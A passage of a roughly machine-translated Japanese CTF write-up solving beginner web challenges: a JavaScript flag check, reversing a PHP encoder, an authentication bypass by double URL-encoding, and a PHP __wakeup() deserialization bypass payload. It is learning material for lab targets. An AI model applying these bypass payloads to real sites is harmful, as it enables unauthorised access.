記事のディレクトリ
NaNNaNNaNNaN-バットマン
- 添付ファイルをダウンロードし、最後に評価を変更してアラートを出します
- 新しく作成した1.htmlファイルにコードを配置します
- コードコンテンツがポップアップ表示されます
- コード監査のコピーアンドペースト
function $()
{
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1)}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
- 通常のスペルが可能
payload:be0f23233ace98aac7be9
- コードを個別に取り出すこともできます
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1)}
}
web2
- これは、ルーキーツールが復号化に直接使用するphpです。
- 最初にコードを監査します
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// 反转字符串
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
//从首位开始一个一个截取
$__=ord($_c)+1;
//返回ascii值 并且+1
$_c=chr($__);
//返回+1后的编码值
$_=$_.$_c;
//连接
}
return str_rot13(strrev(base64_encode($_)));
// base64编码 反转字符串 再rot13编码
}
highlight_file(__FILE__);
?>
- PHPコードを復号化する
<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));
$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){
$_c=substr($_,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_o=$_o.$_c;
}
echo strrev($_o);
?>
PHP2
- 失敗を再現する最初の問題
- パッケージをキャプチャするためにdirsearchとburpsuitを試しましたが、エントリポイントが見つかりませんでした。
- wpを読む
- index.phpsにアクセスします
phpsファイルはbaiphpのソースコードファイルであり、ユーザー(訪問者)がphpコードdaoを表示するために通常使用されます。これは、ユーザーがphpファイルのコンテンツをWebブラウザーから直接表示できないためです。
- コードをお見せしたい
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
- 簡単なコード監査
- まず、getによってアップロードされたIDをadminと等しくすることはできません
- 次に、URLデコードを実行し、adminと等しい必要があります
- 焦点はURLデコードにあります
- ?id =%2561dmin
- サーバーのURLがデコードされた後、最初のif is admin ===%61dminが満たされません
- php自体を追加することで満足できます
unsialize3
- この質問は、_wakeup()マジックメソッドのバイパスです。
- 逆シリアル化するときに_wakeup()関数が呼び出されます
- これが最初にシリアル化されたコードです
<?php
class xctf{
public $flag = '111';}
$a = new xctf();
$b = serialize($a);
echo $b;
?>
- O:4:“ xctf”:1:{s:4:“ flag”; s:3:“ 111”;}
- ペイロード:O:4:“ xctf”:2:{s:4:“ flag”; s:3:“ 111”;}